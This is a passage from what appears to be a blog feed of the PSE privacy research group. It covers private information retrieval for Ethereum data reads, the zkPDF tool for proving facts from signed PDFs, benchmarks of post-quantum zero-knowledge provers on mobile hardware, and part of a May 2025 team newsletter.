| | **Single** | | | | $2^{13}$ | 0.1651 | 0.2504 | | $2^{17}$ | 0.3098 | 1.1222 | | $2^{21}$ | 1.1230 | 16.2755 | | $2^{25}$ | 9.5674 | 288.1244 | | **Batch** | | | | $2^{13}$ | 4.8202 | 6.8838 | | $2^{17}$ | 6.0639 | 10.9428 | | $2^{21}$ | 12.5613 | 65.3955 | | $2^{25}$ | 85.6168 | 1306.4031 | This table can give us a clear view of the overhead of implementing PIR on top of current data retrieval operations. ## Challenges ### Dynamic State Benchmark results show that database encoding takes significant time and grows rapidly for large datasets. For dynamic data, whether growing Semaphore groups or Ethereum's state, continuously re-encoding a multi-gigabyte database for PIR is impractical. #### Possible Solution: Periodic Snapshots In this approach, the server captures the database state at defined intervals. The interval length will depend on the amount of resources willing to be spent on computation and the speed at which the database is updated, and the data retrieved will always be at least as old as the `db_encoding` time. The snapshot's root hash can be attested on-chain so clients can verify integrity. For periodic balance checks or group membership proofs a delay of a few minutes won't interfere. For voting applications, one could just limit the registrations to vote up to a time and this wouldn't be an issue at all. But this solution does not contemplate real-time private queries for frequently changing datasets. A possible fallback for this can be replacing PIR with a TEE-based relayer. ### Scalability Merkle trees with more than $2^{20}$ elements become difficult to manage. Applying PIR to the entire dataset is not possible, so combining this with merkle-forests or focusing on high-value subsets (e.g., EOA balances, contract storages) is necessary. > ℹ️ There are proposals that already suggest Ethereum nodes will move towards this [partial statelessness](https://ethresear.ch/t/a-local-node-favoring-delta-to-the-scaling-roadmap/22368) paradigm. ### Server-Side Computational Load PIR servers require significant computational resources, which will add costs to the implementors. Incentives might need to be set in place. ### Integrations End-user applications have to integrate PIR. This comes with an extra cost since there are not a lot of implementations out there and none with JavaScript/TypeScript or WASM binding libs. ## Alternative Solutions ### Trusted Execution Environments A Trusted Execution Environment is a secure and isolated environment that runs alongside the main operating system on a machine. TEEs are currently being explored for [Private Proof Delegation](https://pse.dev/en/blog/tee-based-ppd). I highly recommend reading the PPD report, since it details the trust assumptions involved in dealing with them. TEEs can be used as secure enclaves. A secure enclave processes user queries, forwards them to backend nodes, and returns responses without exposing the query content to the relay operator. ### Privacy Preserving Routing Network-level privacy is also available through Tor and [mixing networks](https://en.wikipedia.org/wiki/Mix_network). - [Tor](https://spec.torproject.org/intro/index.html) is a distributed overlay network designed to anonymize **low-latency** TCP-based applications such as web browsing, secure shell, and instant messaging. - Mixing Networks are routing protocols that create hard-to-trace communications using a chain of proxy servers. [Nym](https://nym.com/docs/network), for instance, packetises and mixes together IP traffic from many users inside the Mixnet. Note that this only protects against IP-based tracking but does not hide the query content itself. ### RPC Rotation Wallets could rotate queries across multiple RPC providers, ensuring no single provider sees the user's full query history. This distributes the data and makes it harder for any one entity to profile the user. Each provider would still learn about the specific queries sent to them, and if providers collude, they could reconstruct the user's activity. Adding to this collution risk, there aren't that many reliable RPC providers out there, less of them that don't share your data. This is one of the easiest solutions to implement, but it does not hide the query content and the user's IP, just makes it a bit harder to deanonymize. The equivalent solution to the private Merkle proof generation is to store the tree in multiple servers, making it possible to retrieve different IDs from different servers. ### Light Clients and Portal Network This is only a path for Ethereum State Reads. Light clients like [Helios](https://github.com/a16z/helios) and decentralized data networks like the [Portal Network](https://ethportal.net/overview) aim to reduce reliance on centralized RPC providers. - **Light clients** should be able to request specific state proofs from peers, but implementing peer-to-peer networking for light clients can be a difficult task, and they currently rely on centralized RPC providers. - **Portal network** distributes data queries across multiple nodes, but comes with high latency costs. This will decentralize data access and reduce the risk of centralized logging, but individual peers still learn about the queries they serve. ## Ethereum Privacy Roadmap There have been some roadmap proposals around improving Ethereum L1 privacy: - [pcaversaccio's Roadmap](https://hackmd.io/@pcaversaccio/ethereum-privacy-the-road-to-self-sovereignty) - [Vitalik's Roadmap](https://ethereum-magicians.org/t/a-maximally-simple-l1-privacy-roadmap/23459) Enhancing privacy is a critical priority for Ethereum's ecosystem. The solutions outlined in this writeup can reduce metadata leakage and provide network-level protections, giving users control over their data. One of the most immediate reasons for taking this direction is security, [data leaks](https://www.coinbase.com/blog/protecting-our-customers-standing-up-to-extortionists) and bad practices have already proven to be [dangerous](https://www.france24.com/en/live-news/20250527-france-foils-new-crypto-kidnapping-plot-arrests-over-20-source). In the mid term, proofs of inclusions could be necessary to [vote in an election](https://docs.semaphore.pse.dev/V2/use-cases/private-voting), and you would disclose your identity when generating them. As adoption increases, the right to privacy should be prioritized. ## Conclusion Privacy is essential for Ethereum and PIR offers a path for private reads in and around it, hiding not just who you are but what you look up. But still, practical deployments face some frictions. Re-encoding large trees for every change is too expensive, so the data may be stale, depending on the cadence of periodic snapshots. Deterministic trees such as LeanIMT let clients compute indices on their own, but arbitrary tries still need either key-based PIR or a simple 2PC for index lookup, both of which add overhead. The computation burden is concentrated on the servers, so RPC providers or dedicated operators must be incentivized through fees or other rewards. Wallets and dApps need accessible WASM libraries to integrate PIR. Until that is available, users can use alternatives such as rotating RPC endpoints, using mixnets, or TEE-based relayers. If we're going towards a fully private Ethereum, a possible roadmap for data access privacy could be: - **Near term**: Only focus on network level anonymity with Tor, mixnets and rotating RPCs. - **Mid term**: Implement and use TEE-based relayers. If light-clients are also used, it would enable confidential verifications and eliminate provider trust. - **Long term**: With PIR advancements, work on making it easily adoptable by wallets and DApps. ## Resources - [A Maximally Simple L1 Privacy Roadmap](https://ethereum-magicians.org/t/a-maximally-simple-l1-privacy-roadmap/23459) - [Call Me By My Name: Simple, Practical Private Information Retrieval for Keyword Queries](https://eprint.iacr.org/2024/092) - [Ethereum Privacy: The Road to Self-Sovereignty](https://hackmd.io/@pcaversaccio/ethereum-privacy-the-road-to-self-sovereignty) - [How to Raise the Gas Limit, Part 1: State Growth](https://www.paradigm.xyz/2024/03/how-to-raise-the-gas-limit-1) - [Private Information Retrieval and Its Applications: An Introduction, Open Problems, Future Directions](https://arxiv.org/abs/2304.14397) - [Respire: Single-Server Private Information Retrieval with Sublinear Online Time](https://eprint.iacr.org/2024/1165) - [Scaling Semaphore](https://hackmd.io/@brech1/scale-semaphore) - [Semaphore Documentation](https://docs.semaphore.pse.dev/) - [TEE based private proof delegation](https://pse.dev/en/blog/tee-based-ppd) - [TreePIR: Sublinear-Time and Polylog-Bandwidth Private Information Retrieval from DDH](https://eprint.iacr.org/2023/204) - [(WIP) A validation on Valid-Only Partial Statelessness](https://hackmd.io/_wVNey49QTmbd0Nm9lrU8A) - [Worldcoin - A New Identity and Financial Network](https://whitepaper.world.org/) ]]> ethereum privacy pir <![CDATA[zkPDF: Unlocking Verifiable Data in the World's Most Popular Document Format]]> https://pse.dev/blog/zkpdf-unlocking-verifiable-data https://pse.dev/blog/zkpdf-unlocking-verifiable-data Fri, 13 Jun 2025 00:00:00 GMT <![CDATA[zkPDF lets you prove facts from signed PDFs without revealing the entire document.]]> <![CDATA[ **TL;DR** We’ve built **zkPDF**—a set of zero-knowledge circuits and tools for proving facts from digitally signed PDFs without revealing the full document. zkPDF combines digital signature checks with selective content proving, enabling privacy-preserving claims from the most widely used document format. ## The Ever-Expanding Ecosystem of Signed Data We've already made remarkable progress in **"SNARKifying"** various forms of signed data. The ability to cryptographically verify information while preserving privacy isn't just theoretical anymore—it's production-ready and being used in real-world applications at large. Consider what is actively in use today: - **ZK-Email:** Email verification, allowing users to prove specific facts about email content without revealing the email itself. - **National Identity Cards:** Projects like **Anon Aadhaar,** India's Aadhaar program has over **1.4 billion** digital identities, and Anon Aadhaar allows users to prove they have a valid Aadhaar card and are over 18 without revealing their identity number, name, or other personal details. - **Electronic Passports:** There are **1.2+ billion** e-passports in global circulation, each containing cryptographically signed biometric data that prevents forgery and identity theft at borders—a testament to worldwide adoption of verifiable physical documents. - **Web Data (zkTLS, RFC9421, SXG):** Emerging technologies like zkTLS allow users to prove specific content on a website Yet despite all these advances, one critical piece has remained out of reach: **PDFs**. This is the sleeping giant of signed data. The PDF Association estimates that "well over 90 percent of all signed documents are PDFs," with the e-signature market growing at over 25% annually through 2025. PDFs represent a significant volume of signed data, perhaps the most universal but least programmable format in our current verification ecosystem. --- ## Why is Proving PDF Facts Privately So Difficult? Every day, we rely on digital documents we assume are authentic. When you download your diploma, sign a contract, or check your bank statement, you trust that these documents are legitimate. The problem is: when you need to prove something inside your PDF, you have no choice but to share the entire document. Many PDFs aren’t digitally signed at all—so there’s no embedded proof of authenticity to verify. And for those that are, classical RSA with SHA-1 or SHA-256 takes significantly less proving time and fewer constraints than most elliptic-curve signature schemes. **Why is the world's most common document format so hard to "SNARKify"?** The technical challenges are non-trivial. Generating a verifiable proof about PDF content generally involves a three-step process, each with its own set of difficulties: - **Verification of the Digital Signature:** Proving the authenticity of a signed PDF. - **Parsing the PDF Document:** Extracting meaningful data from the PDF's structure. - **Applying Logic on Content:** Performing operations like string matching, regular expressions, or enabling selective disclosure on the extracted content. ### Computational Complexities Digital signatures on PDFs require hashing entire documents. When your average signed PDF is 300KB to 5MB (or sometimes much larger), hashing that amount of data inside a zero-knowledge circuit creates an astronomical computational burden. Proving times are in the order of hours or days—if they complete at all. ### PDF Parsing and Text Extraction PDFs aren’t just documents—they're sophisticated instruction sets built on over 30 years of layered complexity. A PDF file typically includes: - Intricate trees of interconnected objects and cross-references - Multiple advanced compression schemes - Complex font and text-rendering instructions - Legacy features from decades of evolution - **Multilingual Text Handling:** Different scripts use varied encodings, font mappings, and layout rules, making reliable extraction a major challenge. Our modular parser tackles these issues and even provides full CJK (Chinese) support for accurate text reconstruction. They don't simply store readable text—they specify detailed instructions on how to _draw_ text, defining precise fonts and exact character placements. For a ZK circuit to prove facts about a PDF document’s contents, it must interpret this intricate font rendering logic, glyph tables, and detailed positioning to reconstruct readable text. Incorporating such comprehensive font-rendering engines within ZK proofs adds significant computational overhead, making this task prohibitively complex. ### Client-Side Proving Given the immense computational requirements for hashing large PDF files and the inherent complexity of parsing PDF structures within a ZK circuit, performing client-side ZK proof generation for PDFs is currently infeasible. Modern web browsers and mobile devices lack the raw processing power and memory necessary to handle the astronomical number of constraints and the extensive proving time involved. --- ## How zkPDF Solves These Problems Our solution addresses these challenges by adopting a highly efficient and "circuit-friendly" approach, leveraging the power of a **Zero-Knowledge Virtual Machine** and custom-built tooling. Since performing client-side ZK proof generation for multi-megabyte PDFs is currently infeasible due to the hashing overhead, we have chosen **SP1 ZKVM** as our proving environment. SP1 is a performant, open-source ZKVM that allows us to write our ZK circuits in native Rust. In the future to address this, especially for trust-minimized production deployments, we envision using **private proof delegation or trusted execution environment** (TEE) servers to offload the heavy computational task of proof generation. For our current Proof-of-Concept, we are utilizing the **SP1 prover network** to generate these proofs. --- ### Building Robust PDF Parsing A significant hurdle was the incompatibility of existing Rust PDF parsing crates (like `pdf-extract` or `lopdf`) with the SP1 ZKVM. These libraries often contain heavy dependencies, make frequent calls to C native code, and have architectural elements that do not translate well into the ZKVM's execution model. To overcome this, we embarked on building our own [**native PDF text parsing library**](https://github.com/privacy-scaling-explorations/zkpdf/tree/main/pdf-utils/extractor). This custom-built library is specifically designed to function efficiently within a ZKVM. It focuses on the core functionalities required: - **Page-by-Page Full Text Parsing:** Instead of attempting to parse the entire PDF document's complex structure indiscriminately, our solution focuses on processing the document page by page. - **Robust Text Handling:** This approach reliably handles the intricacies of text drawing instructions, embedded fonts, glyphs, and various encoding schemes, allowing for accurate semantic interpretation of the text content. - **Minimal Dependencies:** Crucially, it has only one external dependency (for Deflate compression), making it lightweight and suitable for ZK constraints. In addition to our custom parser, we are leveraging a [**Signature Verification library**](https://github.com/privacy-scaling-explorations/zkpdf/tree/main/pdf-utils/signature-validator) that can take arbitrary PDF content and verify its digital signature against its embedded certificate. To further optimize its performance within the ZKVM, we are actively integrating and utilizing **SP1 precompiles**, which allow for highly efficient cryptographic operations. ### How zkPDF Works Our solution follows a two-step process to prove facts about PDFs without revealing the whole document: - **Verify the Digital Signature:** First, we check the digital signature of the entire PDF to confirm the document is authentic and hasn't been changed since it was signed by a trusted source. - **Prove the Content:** Once the document is verified, we pinpoint specific information we want to prove. Using our custom PDF parsing crate, we extract just that piece of data and prove facts about it using a ZK circuit. This lets you confirm things like "Alice is on this document" or "the grade is A+" without revealing anything else from the PDF. Checkout the [Setup instructions](https://github.com/privacy-scaling-explorations/zkpdf?tab=readme-ov-file#setup) ![demo](/articles/zkpdf-unlocking-verifiable-data/zkpdf_demo.webp) --- ### Benchmarks | Metric | [PDF #1](https://github.com/privacy-scaling-explorations/zkpdf/blob/main/pdf-utils/sample-pdfs/digitally_signed.pdf) | PDF #2 _(PAN Card Pdf from DigiLocker)_ | | ------------------------ | ---------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------- | | **PDF Size** | 268.0 KiB | 104.0 KiB | | **SP1 Network Link** | [View Proof](https://explorer.succinct.xyz/request/0xf45625c4c789c0d146e2e2382ca141391c0813c9e7d1c42e96572a04dd3b2fff) | [View Proof](https://network.succinct.xyz/request/0x8c9842665d22504078d674259603786327fe9b834bd04f149dd4f92e94654f2c) | | **Document Type** | Signed PDF | PAN Card from DigiLocker | | **Signature Algorithm** | RSA with SHA1 | RSA with SHA256 | | **SP1 Version** | sp1-v5.0.0 | sp1-v5.0.0 | | **Proof Time (Groth16)** | 52 seconds | 31 seconds | | **Cycle Count** | 44,052,327 cycles | 29,940,291 cycles | | **Gas Used** | 50,575,525 | 35,255,053 | --- ## Real-World Use Cases for zkPDF zkPDF supports over 90% of real-world signed PDFs containing text content, powered by our minimal-dependency, Rust-based PDF parser. This makes it immediately useful for real applications across multiple domains. #### 1. DigiLocker Ecosystem DigiLocker is India's central hub for digital documents covering identity, education, healthcare, insurance, and finance. With zkPDF, we can parse and verify virtually every signed PDF issued via DigiLocker—including Aadhaar, PAN, driver’s licenses, income certificates, degree certificates, and more. - All documents are signed by the same centralized certificate authority, making signature verification consistent and efficient. - Since the structure and keys are standardized, zkPDF can generate proofs without managing multiple formats or public key registries. This is one of the most immediate and impactful use cases of zkPDF: enabling verifiable claims from India’s official documents without revealing the full content. #### 2. Contract & Legal Workflows – DocuSign and Similar Platforms Globally, platforms like DocuSign and Adobe Acrobat Sign issue cryptographically signed PDFs for contracts, agreements, and legal disclosures. zkPDF allows users to prove the presence of a clause or term—such as "Notice period is 30 days"—without exposing the entire contract. #### 3. Banking Sector – Signed Invoices, Statements & Certificates Most modern banking documents—such as invoices, account statements, and loan sanction letters—are generated as digitally signed PDFs. zkPDF enables users to prove facts like: - “This salary certificate mentions ₹1,25,000.” - “The bank balance exceeds ₹5,00,000.” - “This account is active as of April 2025.” All without revealing the rest of the financial document. Perfect for visa applications, credit scoring, and trustless onboarding. --- ### Future Potential Avenues of Research - **Client-side Proof Generation** – Investigate running lightweight PDF proofs directly in the browser or mobile apps so users can generate ZK proofs without a remote prover. - **TEE-assisted or Delegated Proofs** – Explore a trust-minimized delegation layer that offloads heavy proving tasks while still allowing end-to-end ZK verification. - **Regex-Driven Selective Disclosure** – Extend the circuit to support regular-expression matching and pattern extraction. - **Universal PDF & Multilingual Support** – Expand the parser to handle a wide range of PDF types and multilingual text extraction. ### Footnotes - [zkPDF GitHub Repo](https://github.com/privacy-scaling-explorations/zkpdf) - [PDF Text Extractor](https://github.com/privacy-scaling-explorations/zkpdf/tree/main/pdf-utils/extractor) - [PDF Signature Verifier](https://github.com/privacy-scaling-explorations/zkpdf/tree/main/pdf-utils/signature-validator) - [Demo Frontend](https://github.com/privacy-scaling-explorations/zkpdf/tree/main/app) For collaboration, reach out at [[email protected]](mailto:[email protected]) or join the [PSE Discord](https://discord.com/invite/sF5CT5rzrR). ]]> zkpdf zero-knowledge proofs privacy pdf zkid digilocker pdfs <![CDATA[Efficient Client-Side Proving for zkID]]> https://pse.dev/blog/efficient-client-side-proving-for-zkid https://pse.dev/blog/efficient-client-side-proving-for-zkid Wed, 11 Jun 2025 00:00:00 GMT <![CDATA[Binius and Ligero emerge as the top candidates for mobile SHA-256 ZK-proving under transparent, post-quantum constraints.]]> <![CDATA[ **TL;DR: Binius and Ligero emerge as the top candidates for mobile SHA-256 ZK-proving under transparent, post-quantum constraints.** This work is helpful for wallet developers, standards authors, and ZK library maintainers in the digital ID space who require a post-quantum-secure proof scheme with a transparent setup that fits within tight mobile CPU, RAM, and bandwidth budgets. We compare seven schemes on a SHA-256 circuit with 2 kB input, measuring prover time, RAM usage, proof size, and preprocessing overhead. Our results show that: - **Binius** offers ≈5 s proving, sub-50 MB RAM, and small proofs. - **Ligero** is a runner-up with ≈30-95 s proving and a modest RAM/VRAM footprint. No single scheme is perfect: Binius excels at bitwise operations, while Ligero achieves performance by utilizing WebGPU. Developers should choose based on their specific mobile-context trade-offs. Our future work will build upon these benchmarks, so feel free to reach out to the Client-Side Proving team if you have a particular use case or would like to collaborate. ## Introduction As European authorities draft the European Digital Identity Wallet (EUDI) standard[^1], our colleagues at the [zkID team](https://pse.dev/en/projects/zk-id) recognized the opportunity to introduce a competing solution that utilizes zero-knowledge proofs (ZKP) to achieve full privacy, selective disclosure, and potentially enable composability. The emerging standard dictates the use of Selective Disclosure JWTs (SD-JWT) hashed with SHA-256 and signed with ECDSA[^2]. These primitives provide strong cryptographic guarantees but are unfriendly toward ZKP. SHA-256 hashing is notoriously inefficient for ZKP implementations and can become the prover's bottleneck. In this use case, the prover is running on a mobile device that has constrained compute, RAM, and bandwidth. Therefore, our Client-Side Proving team embarked on a benchmarking mission to identify the most performant, RAM-efficient, and bandwidth-conserving ZKP schemes for proving the SHA-256 hashing. ## High-Level Requirements Given mobile constraints, we limited our evaluation to transparent proof systems that avoid both circuit-specific trusted setups and large universal setups since each would introduce unacceptable overhead in terms of storage and distribution. The wallet user would have to download the setup keys that could be of the size of multiple hundred megabytes, which is unacceptable on mobile data. On the other hand, for ZKP schemes with a transparent setup, even if the prover can independently generate the preprocessing parameters, they must store them on the device. Therefore, we should be conscious of the storage space that the preprocessing occupies. In addition to these constraints, we required the proof scheme to be post-quantum secure, with the aim of future-proofing the system and avoiding costly migrations or re-evaluations of trust later. The summary of our requirements is given in the table below. | Requirement | Rationale | | --------------------------------------------------- | ---------------------------------------------------------- | | No trusted setup / long structured reference string | Fewer security assumptions and less mobile bandwidth usage | | Small proof size | Mobile device limitations | | Fast proving | Mobile device limitations | | Post-quantum soundness | Future-proofing | ## Baseline Mobile Hardware Before choosing a proof scheme, it is essential to understand the limitations of the devices that would run it. For this reason, we started with a hardware survey to identify the most common and representative mobile devices used globally. These synthetic baseline devices served as the reference point for all our benchmarks. Comprehensive market reports from research firms such as IDC and Counterpoint are prohibitively expensive (e.g., [$7500](https://my.idc.com/getdoc.jsp?containerId=US52082024)), making them inaccessible for this analysis. Therefore, we analyzed the data published by various mobile SDK developers in different industries (analytics, gaming, ads). Our findings were the following: - Android is dominating the market, while the iPhone's share is around 27%; - An average iPhone has 6-core CPU @ 3.33 GHz and 5.7 GB RAM; - An average Android phone has 7-core CPU @ 2.16 GHz and 3.82 GB RAM. You can find the data and learn more about our methodology here: https://hackmd.io/@clientsideproving/AvgMobileHardware. An interesting observation arising from our results is that, in case the developer needs to compile the prover to WebAssembly (WASM), WASM's 4 GB RAM limit does not impose a significant additional constraint. Given that an average Android device has approximately 3.82 GB of total RAM, fully utilizing the 4 GB limit is hard in practice anyway. ## Candidate ZKP Schemes The zero-knowledge proof schemes listed in the table below meet all the requirements we described earlier, including performance, setup, and post-quantum security. | ZKP Scheme | Prover Complexity | Implementation | Existing Benchmarks | | --------------------------------------------------------------------------------------------------- | ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | [TurboPLONK + FRI](https://github.com/0xPolygonZero/plonky2/blob/main/plonky2/plonky2.pdf) | $O(n \log n)$ | [Plonky2](https://github.com/0xPolygonZero/plonky2/tree/main) | [PSE CSP (mobile-ready)](https://hackmd.io/@clientsideproving/Plonky2MobileBench), [Celer (2023)](https://blog.celer.network/2023/08/04/the-pantheon-of-zero-knowledge-proof-development-frameworks/) | | TurboPLONK + FRI | $O(n \log n)$ | [Plonky3](https://github.com/Plonky3/Plonky3/tree/main) | [In powdr](https://github.com/babybear-labs/benchmark/tree/main/reports/powdr) | | [CSTARK](https://eprint.iacr.org/2024/278) | $O(n \log n)$ | [STWO](https://github.com/starkware-libs/stwo) | Claimed to be ["1.1M CairoCPU cycles, provable with STWO in 6.5s"](https://x.com/bartolomeo_diaz/status/1888240222724354106) | | [Libra](https://eprint.iacr.org/2019/317) (with [Orion](https://eprint.iacr.org/2022/1010.pdf) PCS) | $O(n)$ | [Polyhedra Expander](https://github.com/PolyhedraZK/Expander) | [In Rust](https://proofarena.org/problems/3) | | [Binius](https://eprint.iacr.org/2023/1784.pdf) | $O(n)$ | [Binius](https://github.com/IrreducibleOSS/binius/tree/main) | [Official benchmark](https://www.binius.xyz/benchmarks/) | | [Ligero](https://eprint.iacr.org/2022/1608) | $O(n \log n)$ | Ligetron (closed-source), [libiop](https://github.com/scipr-lab/libiop), [Arkworks (as a PCS)](https://github.com/arkworks-rs/poly-commit) | [In the paper](https://eprint.iacr.org/2022/1608.pdf), closed-source | ## Target Circuit In our setting, the issuer signs a SHA-256 hash of an SD-JWT containing the credential attributes. A typical SD-JWT in this application is about 2 kB in size, so we benchmarked SHA-256 circuits that hash 2 kB of input data. ## Benchmark Results We initially ran benchmarks on an Apple M2 Air laptop (8-core M2 CPU, 24 GB RAM). However, since the target deployment is on mobile devices, we subsequently performed direct benchmarks on representative mobile hardware for those proof schemes that demonstrated reasonable RAM usage on laptop. Below are the results for both environments. Note that not all available implementations we tested include the zero-knowledge property by default. Adding the zero-knowledge may result in additional prover overhead, but it is generally lightweight, so the benchmarks remain representative. ### Laptop Benchmarks We ran the benchmarks on an Apple M2 Air laptop (8-core M2 CPU, 24 GB RAM). The Binius circuit performs 33 SHA-256 compressions instead of full hashing; therefore, an actual full implementation would incur additional overhead. We benchmarked the Polyhedra Expander circuit with a 1 kB input due to a prover bug that prevented it from running with a 2 kB input. | Circuit (GitHub link) | Proving Time | Verification Time | Proof Size | Preprocessing Size | Preprocessing RAM | Prover RAM | Is ZK? | | ------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | -------------------- | ---------- | -------------------------------------------------- | ----------------- | ------------------------- | --- | | [Binius (no-lookup)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/binius) | 1.8545 s | 244.48 ms | 475.6 KB | 321.8 KB | ~10.44 MB | ~26.94 MB | No | | [Binius (lookup)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/binius) | 11.025 s | 572.73 ms | 1.8 MB | 716.86 KB | ~5.02 MB | ~66.14 MB | No | | [Plonky2 (no-lookup)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/plonky2) | 20.138 s | 5.3135 ms | 175.6 KB | 2.28 GB (prover-only data) + 1.06 KB (common data) | ~2.74 GB | ~2.40 GB | Yes | | [Plonky3 (SP1 w/precompile)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/plonky3-sp1) | 12.596 s | 184.11 ms | 1.72 MB | 156.34 MB (proving key) + 90.76 KB (ELF) | ~1 GB | ~5 GB | No | | [Plonky3 (powdr, no precompile)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/plonky3-powdr) | 20.741 s | 256.11 ms | 1.93 MB | 3.1 GB (proving key) + 321 MB (constants) | ~3.87 GB | ~0.32 GB | No | | [STWO (Cairo)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/stwo) | 21.1 s | N/A (verifier error) | 39.5 MB | 12.6 MB (trace) + 3.4 Mb (memory) | ~600 MB | ~10GB | No | | [Ligero (Ligetron, _uses WebGPU_)](https://platform.ligetron.com/marketplace/project?id=78180426-2a09-4c36-ac68-52f1ab4ffbe6&version=1.0) | 12.06 s | 9.16 s | 10.29 MB | 33KB (prover data) | N/A | ~500 MB VRAM + ~30 MB RAM | Yes | | [Polyhedra Expander (Orion + GF2), 1kB input](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/polyhedra-expander) | 70 s | 26 s | 30.75 MB | 6 GB (circuit) | N/A | 15.55 GB | No | ### Mobile Benchmarks We used the following devices for mobile benchmarks: - iPhone 13 Pro: Hexa-core CPU (2x3.23 GHz Avalanche + 4x1.82 GHz Blizzard), 5-core GPU, 6 GB RAM - Pixel 6: Octa-core CPU (2x2.80 GHz Cortex-X1 & 2x2.25 GHz Cortex-A76 & 4x1.80 GHz Cortex-A55), Mali-G78 MP20 GPU, 8 GB RAM. The results are in the table below. | Circuit | Platform | Proving Time | Peak RAM | | ------- | ------------- | ----------------------- | -------- | | [Binius (no-lookup)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/mobile/binius/android) | Pixel 6 | 5.1023 s | 45 MB | | [Binius (no-lookup)](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/mobile/binius/ios) | iPhone 13 Pro | 5.0124 s | 22 MB | | [Ligero](https://platform.ligetron.com/marketplace/project?id=78180426-2a09-4c36-ac68-52f1ab4ffbe6&version=1.0) | Pixel 6 | 93.59 s | N/A | | [Ligero](https://platform.ligetron.com/marketplace/project?id=78180426-2a09-4c36-ac68-52f1ab4ffbe6&version=1.0) | iPhone 13 Pro | 29.77 s | N/A | | [Plonky2](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/mobile/plonky2/android) | Pixel 6 | Crashed (out of memory) | - | | [Plonky2](https://github.com/privacy-scaling-explorations/csp-benchmarks/tree/zkid-benchmarks/mobile/plonky2/ios) | iPhone 13 Pro | Crashed (out of memory) | - | ## Conclusion Our results reveal that no single scheme perfectly balances mobile resource constraints and proof efficiency. Here is the summary of our findings: - Binius stands out for SHA-256 circuits thanks to its use of towers of binary fields. Other schemes struggle with bitwise operations, such as XOR and shifts, when working over larger fields. - Binius no-lookup circuit outperforms its lookup variant because the underlying proof scheme is already optimized for binary operations; adding lookups only incurs extra overhead. - Ligero exhibits significantly slower proving times on mobile, particularly on Android, despite leveraging WebGPU acceleration and demonstrating good performance on laptops. - Plonky2 experienced out-of-memory failures, making it unsuitable for the SD-JWT hash signature proving scenario on mobile devices. - STARK-based solutions (Plonky2, SP1 and powdr) demonstrate expected behavior by demanding multi-gigabyte memory, which places them out of reach for most phones. - Polyhedra Expander circuit underperforms because it doesn't leverage the layered GKR approach; its long proving time and massive RAM usage reflect a missed optimization opportunity. Overall, the strongest candidates for SHA-256 proving on mobile are Binius and Ligero, yet neither is universally optimal. Developers should select the scheme that best matches their constraints by weighing all the trade-offs. [^1]: https://github.com/eu-digital-identity-wallet [^2]: https://www.ietf.org/archive/id/draft-ietf-oauth-selective-disclosure-jwt-19.html#section-4.1.1 ]]> client-side proving zkp zero-knowledge proofs zkid post-quantum benchmarks <![CDATA[PSE May 2025 newsletter]]> https://pse.dev/blog/pse-may-2025-newsletter https://pse.dev/blog/pse-may-2025-newsletter Fri, 30 May 2025 00:00:00 GMT <![CDATA[Check out what PSE teams have been focused on in May 2025!]]> <![CDATA[ At PSE, we work on long-term exploration of cryptographic primitives, applied protocol design, and practical implementation. Here's what our teams have been focused on in May 2025: ## [Post-Quantum Cryptography](https://pse.dev/en/projects/post-quantum-cryptography) Quantum-resistant cryptography remains a long-term bet for Ethereum. We're currently finalizing a report on aggregating Falcon signatures with LaBRADOR for better efficiency. Early results suggest this may be viable for Ethereum-scale use cases. We're also initiating a collaboration with OpenFHE to explore privacy-friendly AI — a promising direction that brings together verifiable FHE and ML. ## [Private Proof Delegation](https://pse.dev/en/projects/private-proof-delegation) To reduce prover requirements for end-users, the Delegated Proving team is finalizing work on a TEE-based privacy-preserving delegation (PPD) system. The next phase will experiment with fully homomorphic encryption (FHE)-based proof-carrying data schemes. Collaboration with COSIC and OpenFHE maintainers is helping us push this forward. ## [Client-Side Proving](https://pse.dev/en/projects/client-side-proving) We're benchmarking post-quantum proof systems with an eye toward practical deployments in identity. Our recent [zkID benchmarks](https://hackmd.io/@clientsideproving/zkIDBenchmarks) compare multiple options, with future work exploring rerandomization techniques and the Ligerito PCS. This research is feeding directly into the zkID wallet effort. ## [Indistinguishability Obfuscation (iO)](https://pse.dev/en/projects/machina-io) The iO team has reached a critical milestone: a full end-to-end implementation using real security parameters. This makes our approach to iO more concrete than ever. You can read the first writeup on [Machina iO](https://machina-io.com/posts/hello_world_first.html). Next up: formalizing the Diamond iO paper and exploring noise-refreshing optimizations. ## [Verifiable OPRF (vOPRF)](https://pse.dev/en/projects/voprf) We've released an MVP implementation of our collusion-resistant vOPRF system with full documentation and deployment guides. The next step is integrating it into Stealthnote, a secure messaging and note-sharing platform. This will also be the basis for secure authentication in the upcoming PSE Forum. ## [TLSNotary](https://pse.dev/en/projects/tlsn) TLSNotary has released [alpha.10](https://github.com/tlsnotary/tlsn/releases/tag/v0.1.0-alpha.10), introducing identity-bound attestations and improving the plugin flow for browsers. A team meetup is planned for deeper work on plugin infrastructure and roadmap planning. Expect new updates around zkTLS at DevConnect. ## [MACI](https://pse.dev/en/projects/maci) We've deepened MACI's integration with on-chain governance tooling. Recent updates include new gatekeepers, an Aragon plugin, and governance-specific UX flows. We've also sunset the MACI Platform in favor of a modular v3 Starter Kit. MACI is now being integrated into upcoming governance experiments like PriVote and Gitcoin. ## [zk-kit](https://pse.dev/en/projects/zk-kit) Both the Rust and Noir stacks have seen key improvements. We've introduced new Merkle root utilities, library versioning via tags, and improved integration support at events like NoirHack. A community exit plan is also in the works to steward zk-kit long-term. ## [MPC Framework](https://pse.dev/en/projects/mpc-framework) The team shipped the Trinity release and launched the Summon API, including support for Deno and early integrations. A strong design and documentation effort is helping push 